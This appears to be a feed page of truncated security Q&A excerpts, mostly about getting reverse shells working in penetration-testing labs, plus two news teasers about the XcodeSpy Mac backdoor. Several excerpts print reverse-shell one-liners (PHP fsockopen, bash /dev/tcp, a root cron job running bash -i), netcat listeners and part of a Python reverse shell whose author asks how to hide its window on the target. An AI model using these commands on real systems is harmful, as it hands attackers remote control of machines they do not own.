Collaborate Disseminate
My reverse shell is exiting when i lsten it with netcat: here is netcat output:
listening on [any] 5555 …
connect to [10.9.3.117] from (UNKNOWN) [10.10.47.117] 37602
bash: cannot set terminal process group (873): Inappropriate ioctl for … Continue reading Reverse PHP shell exit when netcat listening
Suppose this scenario:
You are already inside a corporate network. Suppose to find out a RCE in a X service. The machine that hosts that service is behind a network-based firewall, ingress rules and IPS/IDS are not a problem. You don’t nee… Continue reading Getting reverse shell from firewalled target
I have some doubts as to how cron executes commands and its output. Suppose I have the following cronjob:
*/5 * * * * root /home/user/shell.sh.
shell.sh:
#!/bin/bash
echo "hello"
bash -i
What I want to know is how cronjob execut… Continue reading Question regarding the execution of reverse shells in cron
I realize which in two labs I can not make reverse shell, for example:
php -r ‘$sock=fsockopen("10.0.0.1",4242);exec("/bin/sh -i <&3 >&3 2>&3");’
Put my interface 10.0.0.1 in listening mode with tc… Continue reading What is the reason reverse shell is not triggering? [closed]
I’m using this simple python reverse shell.
When this runs, a command window pops up on the target Windows system. Is there a way to hide it?
import socket
BUFFER_SIZE = 1024
attacker_server = socket.socket(socket.AF_INET, socket.SOCK_STR… Continue reading Hide payload window on target system. Python Reverse Shell [migrated]
I successfully got a reverse shell:
nc -lnvp 8000 # in Kali
/bin/bash -i >& /dev/tcp/192.168.6.1/8000 0>&1 # in the victim machine
I tried to upgrade it in the standard way:
python -c ‘import pty; pty.spawn("/bin/bash&q… Continue reading Upgrading a reverse shell with stty raw -echo doesn’t work
This maybe a lame question but I am facing serious trouble with this. I am practicing penetration testing on some lab boxes. I got the partial reverse shell. In order to make this fully interactive shell, I need to background that current … Continue reading Unable to click Enter after foreground a process [migrated]
I’m running a PHP application with a user management system called userspice. It basically allows you to include the userspice PHP file and then control access to a certain PHP page.
As I have seen some spikes in my log management about 40… Continue reading Suspicious HTTP Requests in my logs [duplicate]
New episode – watch now! Continue reading Naked Security Live – “XcodeSpy” takes aim at Mac and iOS developers
Just one tiny line of script in your Xcode project – and you’ve been pwned! Continue reading Serious Security: Mac “XcodeSpy” backdoor takes aim at Xcode devs